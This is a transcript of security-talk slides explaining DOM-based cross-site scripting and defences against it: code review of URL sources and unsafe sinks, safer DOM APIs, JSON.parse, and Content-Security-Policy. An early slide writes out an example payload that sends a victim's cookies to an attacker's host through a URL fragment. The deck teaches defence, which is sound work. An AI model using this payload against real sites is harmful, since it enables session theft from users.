  • 9. GUI Explanation www.churvanels.com#3 “Hacker Cat your doin it rite!” - Cat Ninja SEE ALL THE HACKER CATS YOU LOVE! #3www.churvanels.com#<script>window.location="http://www.huncker.com?cookie="+document.cookie</script> This means an Attacker can Construct a URL With malicious JavaScript in the URI Fragment..
  • 10. GUI Explanation www.churvanels.com#3 “Hacker Cat your doin it rite!” - Cat Ninja SEE ALL THE HACKER CATS YOU LOVE! #3 And when Somebody is tricked Into visiting that URL, the JavaScript Will be executed in Their browser
  • 11. GUI Explanation huncker.com?cookie=asFFEfadn3243sadkkkiilo56l45j56nklj2 And when Somebody is tricked Into visiting that URL, the JavaScript Will be executed in Their browser
  • 12. Check for DOM-Based Attack  Perform a brief code review of every piece of JavaScript received from the application. Identify any XSS or Redirection vulnerabilities that can be triggered by using a crafted URL to introduce malicious data into the DOM of the relevant page. Include all standalone JavaScript files and scripts contained within HTML pages (both static and dynamically generated)
  • 13. Identifying APIs  Identify all uses of the following APIs, which may be used to access DOM data that can be controlled via crafted URL:  document.location  document.URL  document.URLUnencoded  document.referrer  windows.location
  • 14. Trace the relevant  Trace the relevant data through the code to identify what actions are performed with it. If the data (or a manipulated form of it) is passed to one of the following APIs, the application may be vulnerable to XSS  Document.write()  Document.writeIn()  Document.body.innerHTML  Eval()  Window.execScript()  Window.setInterval()  Window.setTimeout()
  • 15. Pass the data  If the data is passed to one of the following APIs, the application may be vulnerable to a redirection attack.  Document.location  Document.URL  Document.open()  Windows.location.href  Window.navigate()  Window.open()
  • 17. DOM-BASED Attack!  DOM-based XSS attack have all the risk associated with the other types of XSS attack, with the added bonus that they are impossible to detect from the server side. Any page that uses URI fragments is potentially at risk from XSS attack
  • 18. The Protection Protecting Against DOM-based XSS attack is a matter of checking that your JavaScript does not interpret URI fragment in an unsafe manner. There are number of ways to ensure this  Use a JavaScript Framework  Framework like Ember, AngularJS and React use template that makes contraction of ad-hoc HTML an explicit (and rare) action. This will push your development team toward best practices, and make unsafe operations easier to detect
  • 19. The Protection  Audit Your Code Carefully  Sometimes a full JavaScript framework is too heavyweight for your site. In that case, you will need to regularly conduct a code review to spot locations that reference window.location.hash.  If you are using direct the native DOM APIs, avoid using the following properties and functions:  InnerHTML  outerHTML  Document.write  Instead, set text content within tags whenever possible:  innerText  textContent
  • 20. Who is JSON?  Parse JSON Carefully  Do not evaluate JSON to convert it to native JavaScript – for example, by using the eval(….) function instead use JSON.parse(…..)  Don’t use URI Fragment At All!  The most secure code is the code that isn’t there. If you don’t need to use URI fragments, then don’t! Write a unit test to scan your JavaScript for mentions of window.location.has, and have it fail it the pattern is found. When there is a need to use URI fragments, then you can dicuss how to ensure their sage use.
  • 21. Implementing CSP Content-Security Policy  Modern browser supports Content-Security Policies that allow the author of a web-page to control where JavaScript (and other resources) can be loaded and executed from. XSS attacks rely on the attacker being able to run malicious scripts on a user’s web page – either by injection inline <script> tags somewhere within the <html> tag of a page, or by tricking the browser into loading the JavaScript from a malicious Third-Party domain.
  • 22. END THE SLIDE! BY: JOHN PATRICK LITA INFORMATION SECURITY CONSULTANT – GLOBE TELECOM (ISDP/VM) References: Hackplaining and OWASP Foundation